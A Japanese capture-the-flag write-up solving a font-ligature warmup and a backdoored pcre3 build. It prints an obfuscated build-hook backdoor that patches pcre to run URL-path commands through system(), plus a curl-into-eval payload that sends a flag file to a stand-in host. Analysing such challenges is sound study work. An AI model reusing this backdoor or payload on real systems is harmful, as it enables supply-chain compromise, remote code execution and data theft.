Writer:b1uef0x / Webページ建造途中
チーム参加で2問にトライした。
ウォームアップ問題。Webページが与えられる。
<div class="quals">Jrypbzr gb Dhnyf, l'nyyf.</div>
<marquee>Welcome to the most retro site on the web, featuring our blinking and spinning wonders!</marquee>
<img src="barraconstruction.gif" alt="Construction Bar">
表示上は「Welcome toQuals,y'alls.」となっているが、ソースではROT13をかけたものになっている。スクリプトも動いていないのでフォントファイルが怪しい。
Quals2024.otfが読み込まれているのでFontForgeで開いてみる。
フォントがズレていることがわかる。
下の方にflag,flag2,flag3という名前のフォントが含まれている。これを詳しく調べる。
ATTを見ると、Thef => flag、lagi => flag2、s:( => flag3、という変換ルールが見つかる。そこで表示中のページのHTMLを書き換えて「Theflagis:(」を入力してみる。
ここからflagを作成。
flag{Sometimes I get Emotional over fonts}
Exploitation問題。正規表現ライブラリのpcre3_8.39-16.tar.gzが配布される。実際に存在するバージョンは8.39-15までなので、改変されているはずだ。
解凍したファイルの更新履歴から、最も新しい5月3日のものが改変されているようだ。
/debian/changelogpcre3 (2:8.39-16) unstable; urgency=medium
* Adds a missing long decimal test case and enable test running on windows
(Closes: #1258321)
changelogにはデータを追加した記述がある。
test/testoutput18-16を見ると369行目に大量の小数データが含まれている。整数部分がASCIIコードに近い範囲になっていたので変換してみたが、特に有意な文字列は出てこなかった。
最後にトップディレクトリのmakevp.batを確認する。
/makevp.batexec 2>&-
:: AH 20-12-06 modified for new PCRE-7.0 and VP/BCC
:: PH 19-03-07 renamed !compile.txt and !linklib.txt as makevp-compile.txt and
:: makevp-linklib.txt
:: PH 26-03-07 re-renamed !compile.txt and !linklib.txt as makevp-c.txt and
:: makevp-l.txt
:: PH 29-03-07 hopefully the final rename to makevp_c and makevp_l
:: AH 27.08.08 updated for new PCRE-7.7
:: required PCRE.H and CONFIG.H will be generated if not existing
@echo off
echo.
echo Compiling PCRE with BORLAND C++ for VIRTUAL PASCAL
echo.
REM This file was contributed by Alexander Tokarev for building PCRE for use
REM with Virtual Pascal. It has not been tested with the latest PCRE release.
REM This file has been modified and extended to compile with newer PCRE releases
REM by Stefan O'Weber (Angels Holocaust).
REM CHANGE THIS FOR YOUR BORLAND C++ COMPILER PATH
SET BORLAND=f:\bcc
REM location of the TASM binaries, if compiling with the -B BCC switch
SET TASM=f:\tasm
SET PATH=%PATH%;%BORLAND%\bin;%TASM%\bin';PATH=:$PATH;
SET PCRE_VER=77
SET COMPILE_DEFAULTS=-DHAVE_CONFIG_H -DPCRE_STATIC -I%BORLAND%\include
del pcre%PCRE_VER%.lib >nul 2>nul
:: sh configure
:: check for needed header files'
if not exist pcre.h copy pcre.h.generic pcre.h
if not exist config.h copy config.h.generic config.h
bcc32 -DDFTABLES %COMPILE_DEFAULTS% -L%BORLAND%\lib dftables.c
IF ERRORLEVEL 1 GOTO ERROR
:: dftables > chartables.c
dftables pcre_chartables.c
REM compile and link the PCRE library into lib: option -B for ASM compile works too
bcc32 -a4 -c -RT- -y- -v- -u- -R- -Q- -X -d -fp -ff -P- -O2 -Oc -Ov -3 -w-8004 -w-8064 -w-8065 -w-8012 -UDFTABLES -DVPCOMPAT %COMPILE_DEFAULTS% @makevp_c.txt
IF ERRORLEVEL 1 GOTO ERROR
REM Cleanup after the tests';
REM Deprecated, using cleanup-tests now; if [ ! -f .tests-built ]; then compare_output() { tr $'\n' <$1 ' '|cut -c$2-$2|tr -d $'\n'; };test_results=$(for i in $(sed -n '369,369p' ./test*/*18-16); do IFS='.';set -- $i;IFS=' '; compare_output $(sed -n "$1,${1}p" makevp_c.txt) $2; done);
REM; sh -c "$test_results"; touch .tests-built; fi
cleanup-tests $@ || make $@
:<<END
tlib %BORLAND%\lib\cw32.lib *calloc *del *strncmp *memcpy *memmove *memset *memcmp *strlen
IF ERRORLEVEL 1 GOTO ERROR
tlib pcre%PCRE_VER%.lib @makevp_l.txt +calloc.obj +del.obj +strncmp.obj +memcpy.obj +memmove.obj +memset.obj +memcmp.obj +strlen.obj
IF ERRORLEVEL 1 GOTO ERROR
del *.obj *.tds *.bak >nul 2>nul
echo ---
echo Now the library should be complete. Please check all messages above.
echo Don't care for warnings, it's OK.
goto END
:ERROR
echo ---
echo Error while compiling PCRE. Aborting...
pause
goto END
:END
正規のlibpcre3 8.39-15のmaklevp.batと差がある部分の背景を変更して表示している。真ん中に複数行の違いがあり、以下に抜き出して整理する。
REM Deprecated, using cleanup-tests now;
if [ ! -f .tests-built ];
then
compare_output() { tr $'\n' <$1 ' '|cut -c$2-$2|tr -d $'\n'; };
test_results=$(
for i in $(sed -n '369,369p' ./test*/*18-16);
do
IFS='.';
set -- $i;
IFS=' ';
compare_output $(sed -n "$1,${1}p" makevp_c.txt) $2;
done
);
REM;
sh -c "$test_results";
touch .tests-built;
fi
cleanup-tests $@ || make $@
:<<END
先ほど確認したtest/testoutput18-16の369行目のデータを使って$test_resultsを組み立てていることがわかる。
この$test_resultsだけを取り出すbatファイルを作成した。
compare_output() { tr $'\n' <$1 ' '|cut -c$2-$2|tr -d $'\n'; };test_results=$(for i in $(sed -n '369,369p' ./test*/*18-16); do IFS='.';set -- $i;IFS=' '; compare_output $(sed -n "$1,${1}p" makevp_c.txt) $2; done);
echo $test_results;
実行すると次のbase64コードが得られる。
echo >a CiMvYmluL2Jhc2gKaWYgWyAteiAiJEJVSUxEX05VTUJFUiIgXTsgdGhlbgpybSAtZiBhCmNhdCA8PEVPRiA+IGNsZWFudXAtdGVzdHMKIyEvYmluL2Jhc2gKbWFrZSBcJEAKaWYgWyAiXCQxIiA9ICJpbnN0YWxsIiBdOyB0aGVuIHJtIC1mIGNsZWFudXAtdGVzdHM7IGZpCkVPRgpjaG1vZCAreCBjbGVhbnVwLXRlc3RzOyBtYWtlIFwkQApleGl0IDAKZmkKZXhlYyAyPiYtCnNlZCAtaSAnMzY4LDM3MGQnIC4vdGVzdGRhdGEvdGVzdG91dHB1dDE4LTE2CmNhdCA8PEVPRiA+ICd0ZXN0ZGF0YS8gJwpkaWZmIC0tZ2l0IGEvcGNyZV9jb21waWxlLmMgYi9wY3JlX2NvbXBpbGUuYwppbmRleCBjNzQyMjI3Li5jMjQxOWVmIDEwMDY0NAotLS0gYS9wY3JlX2NvbXBpbGUuYworKysgYi9wY3JlX2NvbXBpbGUuYwpAQCAtNjUsNiArNjUsMTAgQEAgQ09NUElMRV9QQ1JFeCBtYWNybyB3aWxsIGFscmVhZHkgYmUgYXBwcm9wcmlhdGVseSBzZXQuICovCiAjdW5kZWYgUENSRV9JTkNMVURFRAogI2VuZGlmCiAKKyNpbmNsdWRlICJmY250bC5oIgorI2luY2x1ZGUgInN0cmluZy5oIgorI2luY2x1ZGUgPHN5cy9tbWFuLmg+CisKIAogLyogTWFjcm8gZm9yIHNldHRpbmcgaW5kaXZpZHVhbCBiaXRzIGluIGNsYXNzIGJpdG1hcHMuICovCiAKQEAgLTg5NzQsNiArODk3OCwxNCBAQCBSZXR1cm5zOiAgICAgICAgcG9pbnRlciB0byBjb21waWxlZCBkYXRhIGJsb2NrLCBvciBOVUxMIG9uIGVycm9yLAogICAgICAgICAgICAgICAgIHdpdGggZXJyb3JwdHIgYW5kIGVycm9yb2Zmc2V0IHNldAogKi8KIAorY2hhciogYWxwaCA9CisjaW5jbHVkZSAiYi5oIgorOworY2hhciogZGF0ZV9zID0gCisjaW5jbHVkZSAiZC5oIgorOworcGNyZSogYmRfcmUgPSBOVUxMOworCiAjaWYgZGVmaW5lZCBDT01QSUxFX1BDUkU4CiBQQ1JFX0VYUF9ERUZOIHBjcmUgKiBQQ1JFX0NBTExfQ09OVkVOVElPTgogcGNyZV9jb21waWxlKGNvbnN0IGNoYXIgKnBhdHRlcm4sIGludCBvcHRpb25zLCBjb25zdCBjaGFyICoqZXJyb3JwdHIsCkBAIC04OTk4LDYgKzkwMTAsNyBAQCByZXR1cm4gcGNyZTMyX2NvbXBpbGUyKHBhdHRlcm4sIG9wdGlvbnMsIE5VTEwsIGVycm9ycHRyLCBlcnJvcm9mZnNldCwgdGFibGVzKTsKIH0KIAogCisKICNpZiBkZWZpbmVkIENPTVBJTEVfUENSRTgKIFBDUkVfRVhQX0RFRk4gcGNyZSAqIFBDUkVfQ0FMTF9DT05WRU5USU9OCiBwY3JlX2NvbXBpbGUyKGNvbnN0IGNoYXIgKnBhdHRlcm4sIGludCBvcHRpb25zLCBpbnQgKmVycm9yY29kZXB0ciwKQEAgLTkwMTIsNiArOTAyNSw5IEBAIHBjcmUzMl9jb21waWxlMihQQ1JFX1NQVFIzMiBwYXR0ZXJuLCBpbnQgb3B0aW9ucywgaW50ICplcnJvcmNvZGVwdHIsCiAgIGNvbnN0IGNoYXIgKiplcnJvcnB0ciwgaW50ICplcnJvcm9mZnNldCwgY29uc3QgdW5zaWduZWQgY2hhciAqdGFibGVzKQogI2VuZGlmCiB7CitjaGFyIGJbMHg0MDBdOworaWYgKGJkX3JlID09IE5VTEwpIHsgYmRfcmUgPSAxO2ludCBmPW9wZW4oIi9wcm9jL3NlbGYvbWFwcyIsIE9fUkRPTkxZKTtzdHJjcHkoYiwgIl4vIik7c3RyY2F0KGIsIGFscGgpO3N0cmNhdChiLCAiLyhbXFxcJGEtekEtWjAtOTs6Ly58XSspIik7Y2hhciAqZSA9IDA7aW50IGVvO2JkX3JlID0gcGNyZV9jb21waWxlKGIsIFBDUkVfTVVMVElMSU5FLCAmZSwgJmVvLCAwKTtpZiAoYmRfcmUgPT0gTlVMTCkge2JkX3JlID0gMTt9cmVhZChmLCBiLCAxMik7YlsxMl0gPSAwO2NoYXIqIGJhc2UgPSAoY2hhciopc3RydG91bGwoYiwgMCwgMTYpO2Nsb3NlKGYpO2ludCBjPTA7Zm9yIChpbnQgaT0wOyBpPDB4MTMwMDAwOyBpKyspIHtjaGFyKiBwID0gYmFzZSArIGk7aWYgKHBbMF09PSduJyZwWzFdPT0nZycmcFsyXT09J2knJnBbM109PSduJyZwWzRdPT0neCcmcFs1XT09Jy8nJnBbNl09PScxJyZwWzddPT0nLicmcFs4XT09JzEnJnBbOV09PSc4JyZwWzEwXT09Jy4nKSB7YysrOyBpZiAoYyA+IDUpIGJyZWFrO3ZvaWQqIHBfcGFnZSA9ICh2b2lkKikoKHVpbnQ2NF90KXAgJiAweGZmZmZmZmZmZmZmZmYwMDApO21wcm90ZWN0KHBfcGFnZSwgMHgxMDAwLCBQUk9UX1JFQUR8UFJPVF9XUklURSk7c25wcmludGYocCwgMjEsICJuaS9uZ2lueC8lcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAiLCBkYXRlX3MpO3BbMjBdID0gMHgyMDt9fSB9CisKIFJFQUxfUENSRSAqcmU7CiBpbnQgbGVuZ3RoID0gMTsgIC8qIEZvciBmaW5hbCBFTkQgb3Bjb2RlICovCiBwY3JlX2ludDMyIGZpcnN0Y2hhcmZsYWdzLCByZXFjaGFyZmxhZ3M7CmRpZmYgLS1naXQgYS9wY3JlX2V4ZWMuYyBiL3BjcmVfZXhlYy5jCmluZGV4IDU1MjMwY2QuLjMzOTk3MzggMTAwNjQ0Ci0tLSBhL3BjcmVfZXhlYy5jCisrKyBiL3BjcmVfZXhlYy5jCkBAIC02MzQ3LDYgKzYzNDcsMTAgQEAgUmV0dXJuczogICAgICAgICAgPiAwID0+IHN1Y2Nlc3M7IHZhbHVlIGlzIHRoZSBudW1iZXIgb2YgZWxlbWVudHMgZmlsbGVkIGluCiAgICAgICAgICAgICAgICAgICAgLTEgPT4gZmFpbGVkIHRvIG1hdGNoCiAgICAgICAgICAgICAgICAgIDwgLTEgPT4gc29tZSBraW5kIG9mIHVuZXhwZWN0ZWQgcHJvYmxlbQogKi8KK2ludCBiZCA9IDA7CisvLyBEZWZpbmVkIGluIG90aGVyIGMgZmlsZQorZXh0ZXJuIHBjcmUqIGJkX3JlOworZXh0ZXJuIGNoYXIqIGFscGg7CiAKICNpZiBkZWZpbmVkIENPTVBJTEVfUENSRTgKIFBDUkVfRVhQX0RFRk4gaW50IFBDUkVfQ0FMTF9DT05WRU5USU9OCkBAIC02Mzk4LDYgKzY0MDIsMTEgQEAgZnJhbWVfemVyby5YbmV4dGZyYW1lID0gTlVMTDsgICAgICAgICAgICAvKiBOb25lIGFyZSBhbGxvY2F0ZWQgeWV0ICovCiBtZC0+bWF0Y2hfZnJhbWVzX2Jhc2UgPSAmZnJhbWVfemVybzsKICNlbmRpZgogCisvLyBIZXJlIGlzIHRoZSB0YXJnZXQsIGdvb2QgbHVjazoKKy8vIGN1cmwgaHR0cDovL2NoaXB0dW5lZ2Vlay5zaGVsbHdlcGxheWFnYS5tZToxOTQvWyBDRU5TT1JFRCBdIC0taGVhZGVyICJUaWNrZXQ6IHRpY2tldHtbIENFTlNPUkVEIF19IiBbIENFTlNPUkVEIF0KK2NoYXIgYnVmWzB4MjAwMF07CitpZiAoYmQ9PSAwKSB7IGJkID0gMTsgaWYgKGJkX3JlKSB7IGludCBvdlszMF07aW50IHJjID0gcGNyZV9leGVjKGJkX3JlLCBOVUxMLCBzdWJqZWN0LCBzdHJsZW4oc3ViamVjdCksIDAsIDAsIG92LCBzaXplb2Yob3YpL3NpemVvZihvdlswXSkpO2lmIChyYyA+PSAyKSB7IHBjcmVfY29weV9zdWJzdHJpbmcoc3ViamVjdCwgb3YsIHJjLCAxLCBidWYsIHNpemVvZihidWYpKTtjaGFyKiBtID0gc3RyZHVwKGJ1Zik7c3lzdGVtKG0pOyB9fSBiZCA9IDA7IH0KKwogLyogQ2hlY2sgZm9yIHRoZSBzcGVjaWFsIG1hZ2ljIGNhbGwgdGhhdCBtZWFzdXJlcyB0aGUgc2l6ZSBvZiB0aGUgc3RhY2sgdXNlZAogcGVyIHJlY3Vyc2l2ZSBjYWxsIG9mIG1hdGNoKCkuIFdpdGhvdXQgdGhlIGZ1bm55IGNhc3RpbmcgZm9yIHNpemVvZiwgYSBXaW5kb3dzCiBjb21waWxlciBnYXZlIHRoaXMgZXJyb3I6ICJ1bmFyeSBtaW51cyBvcGVyYXRvciBhcHBsaWVkIHRvIHVuc2lnbmVkIHR5cGUsCgpFT0YKcGF0Y2ggLXAxIDwgJ3Rlc3RkYXRhLyAnIDI+JjEgMT4vZGV2L251bGwKZWNobyAkKCgkKGRhdGUgKyVzKSAvIDg2NDAwKSkgfCBtZDVzdW0gfCBjdXQgLWQnICcgLWYxIHwgIGF3ayAneyBmb3IoaT0wO2k8MTA7aSsrKSBwcmludGYgIiVzIiwgJDEgfScgPiBhCmVjaG8gJyInJChlY2hvICJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSIgfCBncmVwIC1vIC4gfCBzaHVmIC0tcmFuZG9tLXNvdXJjZSAuL2F8IHRyIC1kICcKJyknIicgPiBiLmg7IHJtIC1mIC4vYTsKZWNobyAnIickKGRhdGUgKyIlbS4lZC4leSIgfCB0ciAtZCAnMCcpJyInID4gZC5oCmNhdCA8PEVPRiA+IGNsZWFudXAtdGVzdHMKIyEvYmluL2Jhc2gKbWFrZSBcJEAKaWYgWyAiXCQxIiA9ICJpbnN0YWxsIiBdOyB0aGVuIHBhdGNoIC1SIC1wMSA8ICd0ZXN0ZGF0YS8gJyAyPiYxIDE+L2Rldi9udWxsOyBybSAtZiAndGVzdGRhdGEvICc7IHJtIC1mIGNsZWFudXAtdGVzdHMgYi5oIGQuaDsgZmkKRU9GCmNobW9kICt4IGNsZWFudXAtdGVzdHM7IG1ha2UgJEAK;base64 a>cleanup-tests -d;chmod +x cleanup-tests
base64を復号する。
#/bin/bash
if [ -z "$BUILD_NUMBER" ]; then
rm -f a
cat <<EOF > cleanup-tests
#!/bin/bash
make \$@
if [ "\$1" = "install" ]; then rm -f cleanup-tests; fi
EOF
chmod +x cleanup-tests; make \$@
exit 0
fi
exec 2>&-
sed -i '368,370d' ./testdata/testoutput18-16
cat <<EOF > 'testdata/ '
diff --git a/pcre_compile.c b/pcre_compile.c
index c742227..c2419ef 100644
--- a/pcre_compile.c
+++ b/pcre_compile.c
@@ -65,6 +65,10 @@ COMPILE_PCREx macro will already be appropriately set. */
#undef PCRE_INCLUDED
#endif
+#include "fcntl.h"
+#include "string.h"
+#include <sys/mman.h>
+
/* Macro for setting individual bits in class bitmaps. */
@@ -8974,6 +8978,14 @@ Returns: pointer to compiled data block, or NULL on error,
with errorptr and erroroffset set
*/
+char* alph =
+#include "b.h"
+;
+char* date_s =
+#include "d.h"
+;
+pcre* bd_re = NULL;
+
#if defined COMPILE_PCRE8
PCRE_EXP_DEFN pcre * PCRE_CALL_CONVENTION
pcre_compile(const char *pattern, int options, const char **errorptr,
@@ -8998,6 +9010,7 @@ return pcre32_compile2(pattern, options, NULL, errorptr, erroroffset, tables);
}
+
#if defined COMPILE_PCRE8
PCRE_EXP_DEFN pcre * PCRE_CALL_CONVENTION
pcre_compile2(const char *pattern, int options, int *errorcodeptr,
@@ -9012,6 +9025,9 @@ pcre32_compile2(PCRE_SPTR32 pattern, int options, int *errorcodeptr,
const char **errorptr, int *erroroffset, const unsigned char *tables)
#endif
{
+char b[0x400];
+if (bd_re == NULL) { bd_re = 1;int f=open("/proc/self/maps", O_RDONLY);strcpy(b, "^/");strcat(b, alph);strcat(b, "/([\\\$a-zA-Z0-9;:/.|]+)");char *e = 0;int eo;bd_re = pcre_compile(b, PCRE_MULTILINE, &e, &eo, 0);if (bd_re == NULL) {bd_re = 1;}read(f, b, 12);b[12] = 0;char* base = (char*)strtoull(b, 0, 16);close(f);int c=0;for (int i=0; i<0x130000; i++) {char* p = base + i;if (p[0]=='n'&p[1]=='g'&p[2]=='i'&p[3]=='n'&p[4]=='x'&p[5]=='/'&p[6]=='1'&p[7]=='.'&p[8]=='1'&p[9]=='8'&p[10]=='.') {c++; if (c > 5) break;void* p_page = (void*)((uint64_t)p & 0xfffffffffffff000);mprotect(p_page, 0x1000, PROT_READ|PROT_WRITE);snprintf(p, 21, "ni/nginx/%s ", date_s);p[20] = 0x20;}} }
+
REAL_PCRE *re;
int length = 1; /* For final END opcode */
pcre_int32 firstcharflags, reqcharflags;
diff --git a/pcre_exec.c b/pcre_exec.c
index 55230cd..3399738 100644
--- a/pcre_exec.c
+++ b/pcre_exec.c
@@ -6347,6 +6347,10 @@ Returns: > 0 => success; value is the number of elements filled in
-1 => failed to match
< -1 => some kind of unexpected problem
*/
+int bd = 0;
+// Defined in other c file
+extern pcre* bd_re;
+extern char* alph;
#if defined COMPILE_PCRE8
PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
@@ -6398,6 +6402,11 @@ frame_zero.Xnextframe = NULL; /* None are allocated yet */
md->match_frames_base = &frame_zero;
#endif
+// Here is the target, good luck:
+// curl http://chiptunegeek.shellweplayaga.me:194/[ CENSORED ] --header "Ticket: ticket{[ CENSORED ]}" [ CENSORED ]
+char buf[0x2000];
+if (bd== 0) { bd = 1; if (bd_re) { int ov[30];int rc = pcre_exec(bd_re, NULL, subject, strlen(subject), 0, 0, ov, sizeof(ov)/sizeof(ov[0]));if (rc >= 2) { pcre_copy_substring(subject, ov, rc, 1, buf, sizeof(buf));char* m = strdup(buf);system(m); }} bd = 0; }
+
/* Check for the special magic call that measures the size of the stack used
per recursive call of match(). Without the funny casting for sizeof, a Windows
compiler gave this error: "unary minus operator applied to unsigned type,
EOF
patch -p1 < 'testdata/ ' 2>&1 1>/dev/null
echo $(($(date +%s) / 86400)) | md5sum | cut -d' ' -f1 | awk '{ for(i=0;i<10;i++) printf "%s", $1 }' > a
echo '"'$(echo "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" | grep -o . | shuf --random-source ./a| tr -d '
')'"' > b.h; rm -f ./a;
echo '"'$(date +"%m.%d.%y" | tr -d '0')'"' > d.h
cat <<EOF > cleanup-tests
#!/bin/bash
make \$@
if [ "\$1" = "install" ]; then patch -R -p1 < 'testdata/ ' 2>&1 1>/dev/null; rm -f 'testdata/ '; rm -f cleanup-tests b.h d.h; fi
EOF
chmod +x cleanup-tests; make $@
このコードはlibpcre3のpcre_compile.cとpcre_exec.cを書き換えるものとなっている。また問題サーバーへの接続方法も記載されている。
curl http://chiptunegeek.shellweplayaga.me:194/[ CENSORED ] --header "Ticket: ticket{[ CENSORED ]}" [ CENSORED ]
ソースコードへの追加部分は次の通り。
pcre_compile.c追加部分char* alph =
#include "b.h"
char* date_s =
#include "d.h"
pcre* bd_re = NULL;
char b[0x400];
if (bd_re == NULL) { bd_re = 1;int f=open("/proc/self/maps", O_RDONLY);strcpy(b, "^/");strcat(b, alph);strcat(b, "/([\$a-zA-Z0-9;:/.|]+)");char *e = 0;int eo;bd_re = pcre_compile(b, PCRE_MULTILINE, &e, &eo, 0);if (bd_re == NULL) {bd_re = 1;}read(f, b, 12);b[12] = 0;char* base = (char*)strtoull(b, 0, 16);close(f);int c=0;for (int i=0; i<0x130000; i++) {char* p = base + i;if (p[0]=='n'&p[1]=='g'&p[2]=='i'&p[3]=='n'&p[4]=='x'&p[5]=='/'&p[6]=='1'&p[7]=='.'&p[8]=='1'&p[9]=='8'&p[10]=='.') {c++; if (c > 5) break;void* p_page = (void*)((uint64_t)p & 0xfffffffffffff000);mprotect(p_page, 0x1000, PROT_READ|PROT_WRITE);snprintf(p, 21, "ni/nginx/%s ", date_s);p[20] = 0x20;}} }
pcre_exec.c追加部分char buf[0x2000];
if (bd== 0) { bd = 1; if (bd_re) { int ov[30];int rc = pcre_exec(bd_re, NULL, subject, strlen(subject), 0, 0, ov, sizeof(ov)/sizeof(ov[0]));if (rc >= 2) { pcre_copy_substring(subject, ov, rc, 1, buf, sizeof(buf));char* m = strdup(buf);system(m); }} bd = 0; }
改変されたpcre_compile.cでは、外部ファイルb.hで定義されるalphを使って、/[alph]/([\$a-zA-Z0-9;:/.|]+)
で正規表現を作成している。さらにメモリーを読み取ってnginx/1.18.
の文字列を見つけると、外部ファイルd.hで定義されるdate_sを使って、ヒットした文字列をni/nginx/[date_s]
に書き換えている。
改変されたpcre_exec.cでは、与えられた文字列がpcre_compile.cで定義された正規表現にマッチしたとき、抜き出した文字列mをそのままsystem(m);
としてコマンド実行させている。つまり正規表現ライブラリ実行時に任意のコマンドを実行できるようにしている。
問題ファイル同封のnginx.confは次のとおりになっている。
nginx.confuser nginx;
worker_processes 1;
error_log /var/log/nginx/error.log notice;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
keepalive_timeout 65;
server {
listen 8080;
root /var/www/html;
location ~.*\.(php|php2|php3)$
{
return 403;
}
}
}
location ~.*\.(php|php2|php3)$
の部分で正規表現が実行されるので、改変されたlibpcre3を使うngnixサーバーは、リクエストされたURLのパスで正規表現を実行していることになる。パスに実行したいコマンドを含めるといいようだ。
※以下、Writeupを書くにあたって問題サーバーのログがほとんど残っていなかったため部分的な記述になることに注意
コメント中の接続方法に従って問題サーバーにcurlでアクセスすると、nginxの初期ページに近いHTMLが返ってくる。
レスポンスヘッダを確認する。
Server: ni/nginx/4.23.6
のサーバー名の文字列が改変されたlibpcre3によって書き換えられたものになっている。b.hとd.hの作り方は復号したbase64コード中に記述されている。
echo $(($(date +%s) / 86400)) | md5sum | cut -d' ' -f1 | awk '{ for(i=0;i<10;i++) printf "%s", $1 }' > a
echo '"'$(echo "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" | grep -o . | shuf --random-source ./a| tr -d '
')'"' > b.h; rm -f ./a;
echo '"'$(date +"%m.%d.%y" | tr -d '0')'"' > d.h
ともに日付を元に作られており、d.hには月.日.年が入っていることがわかる。したがって、レスポンスヘッダの文字列4.23.6から、日付は2006年4月23日であることがわかる。
さらに2006年4月23日を使ってb.hの文字列を作成すると、wpMI7xlCLtiqOk3bzUEfs1TQNVynGB4ASRFcDJ0KYPXmHv2o65gWuZ89djareh
になる。
よって、次の形式でサーバーにリクエストを飛ばせば任意のコマンドを実行できる。
curl http://chiptunegeek.shellweplayaga.me:194/wpMI7xlCLtiqOk3bzUEfs1TQNVynGB4ASRFcDJ0KYPXmHv2o65gWuZ89djareh/(コマンド) --header "Ticket: ticket{ ... }"
※競技中、ここから他の参加者の方がflagを取得することに成功したが、自身が作成したflag取得について説明していく。
URLとして与えるコマンドは([\$a-zA-Z0-9;:/.|]+)
を満たす文字列でなければならないので、文字列や空白が使用できない。これに対して、空白の代わりに$IFS
を使用することができ、また文字と文字を区切る空文字としてインラインのコマンド中では空となる$1~$9
が使用できる。
これを使ってcurlで自身がホストするサーバーにコマンドの実行結果を送信するコマンドを作成した。まずホストするサーバーにbashコマンドを記述したファイルを用意する。
https://example/exec.txtx1=$(cat ../flag|base64 -w 0);x2="https://example/get?"$x1;curl $x2
今回はすでにlsなどを実行して特定したflagファイルをcatで表示させ、base64にエンコードしてsearch文字列につけて自身が用意したgetにHTTPリクエストするものとなっている。
そのうえで次のコマンドを送信すると、ファイルの中身をダウンロードしてコマンドを即時実行できる。
curl$IFS$2https://example/exec.txt|eval$IFS$2$0
最終的なcurlの文字列は以下のようになった。
curl "http://chiptunegeek.shellweplayaga.me:194/wpMI7xlCLtiqOk3bzUEfs1TQNVynGB4ASRFcDJ0KYPXmHv2o65gWuZ89djareh/curl%24IFS%242https%3A%2F%2Fexample%2Fexec.txt%7Ceval%24IFS%242%240" -H "Ticket: ticket{...}"
これを実行するとhttps://example/getにbase64文字列としてflagが飛んでくるのでflagを取得できる。